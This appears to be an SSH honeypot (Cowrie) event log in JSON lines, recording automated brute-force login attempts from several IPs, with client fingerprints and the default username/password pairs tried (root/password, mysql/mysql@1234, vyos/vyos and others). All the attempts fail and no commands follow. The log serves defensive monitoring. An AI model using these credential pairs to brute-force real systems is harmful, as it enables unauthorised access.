{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:17.793460Z","src_ip":"192.109.200.78","session":"e380cd70b87d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql@1234","message":"login attempt [mysql/mysql@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:18.039779Z","src_ip":"192.109.200.78","session":"e380cd70b87d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123456a","message":"login attempt [root/A123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:18.093511Z","src_ip":"176.65.139.95","session":"c7a7618ad7ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:19.123499Z","src_ip":"192.109.200.78","session":"e380cd70b87d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:19.178530Z","src_ip":"176.65.139.95","session":"c7a7618ad7ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46206,"dst_ip":"159.203.135.109","dst_port":22,"session":"dde48a3e20db","protocol":"ssh","message":"New connection: 192.109.200.78:46206 (159.203.135.109:22) [session: dde48a3e20db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:21.697402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:21.702104Z","src_ip":"192.109.200.78","session":"dde48a3e20db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:21.784051Z","src_ip":"192.109.200.78","session":"dde48a3e20db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"gpadmin","message":"login attempt [gpadmin/gpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:22.030376Z","src_ip":"192.109.200.78","session":"dde48a3e20db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:23.116606Z","src_ip":"192.109.200.78","session":"dde48a3e20db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":34166,"dst_ip":"159.203.135.109","dst_port":22,"session":"27f61efb9f89","protocol":"ssh","message":"New connection: 176.65.139.95:34166 (159.203.135.109:22) [session: 27f61efb9f89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:24.500530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:24.504970Z","src_ip":"176.65.139.95","session":"27f61efb9f89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:24.605433Z","src_ip":"176.65.139.95","session":"27f61efb9f89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:24.964731Z","src_ip":"176.65.139.95","session":"27f61efb9f89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46214,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a5fe8a454e9","protocol":"ssh","message":"New connection: 192.109.200.78:46214 (159.203.135.109:22) [session: 2a5fe8a454e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:25.434435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:25.442793Z","src_ip":"192.109.200.78","session":"2a5fe8a454e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:25.525665Z","src_ip":"192.109.200.78","session":"2a5fe8a454e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"vyos","message":"login attempt [vyos/vyos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:25.786117Z","src_ip":"192.109.200.78","session":"2a5fe8a454e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:26.058818Z","src_ip":"176.65.139.95","session":"27f61efb9f89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40160,"dst_ip":"159.203.135.109","dst_port":22,"session":"813640d161b5","protocol":"ssh","message":"New connection: 159.203.92.129:40160 (159.203.135.109:22) [session: 813640d161b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:26.219074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:26.224863Z","src_ip":"159.203.92.129","session":"813640d161b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:26.229877Z","src_ip":"159.203.92.129","session":"813640d161b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Neptun","password":"Neptun","message":"login attempt [Neptun/Neptun] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:26.256036Z","src_ip":"159.203.92.129","session":"813640d161b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:26.879884Z","src_ip":"192.109.200.78","session":"2a5fe8a454e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:27.264293Z","src_ip":"159.203.92.129","session":"813640d161b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33178,"dst_ip":"159.203.135.109","dst_port":22,"session":"004f559a8734","protocol":"ssh","message":"New connection: 192.109.200.78:33178 (159.203.135.109:22) [session: 004f559a8734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:29.559891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:29.564938Z","src_ip":"192.109.200.78","session":"004f559a8734","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:29.648765Z","src_ip":"192.109.200.78","session":"004f559a8734","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esadmin","password":"esadmin","message":"login attempt [esadmin/esadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:29.899917Z","src_ip":"192.109.200.78","session":"004f559a8734","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:30.987599Z","src_ip":"192.109.200.78","session":"004f559a8734","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":38644,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ef8615d5759","protocol":"ssh","message":"New connection: 176.65.139.95:38644 (159.203.135.109:22) [session: 9ef8615d5759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:31.350986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:31.356412Z","src_ip":"176.65.139.95","session":"9ef8615d5759","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:31.443207Z","src_ip":"176.65.139.95","session":"9ef8615d5759","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"home","password":"home","message":"login attempt [home/home] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:31.934647Z","src_ip":"176.65.139.95","session":"9ef8615d5759","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:33.026338Z","src_ip":"176.65.139.95","session":"9ef8615d5759","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33182,"dst_ip":"159.203.135.109","dst_port":22,"session":"34d9abd81c96","protocol":"ssh","message":"New connection: 192.109.200.78:33182 (159.203.135.109:22) [session: 34d9abd81c96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:33.437402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:33.441010Z","src_ip":"192.109.200.78","session":"34d9abd81c96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:33.526352Z","src_ip":"192.109.200.78","session":"34d9abd81c96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test1","message":"login attempt [test1/test1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:33.777164Z","src_ip":"192.109.200.78","session":"34d9abd81c96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:34.863428Z","src_ip":"192.109.200.78","session":"34d9abd81c96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33198,"dst_ip":"159.203.135.109","dst_port":22,"session":"db5a0b98f1dc","protocol":"ssh","message":"New connection: 192.109.200.78:33198 (159.203.135.109:22) [session: db5a0b98f1dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:37.560953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:22:37.565400Z","src_ip":"192.109.200.78","session":"db5a0b98f1dc","protocol":"ssh"}
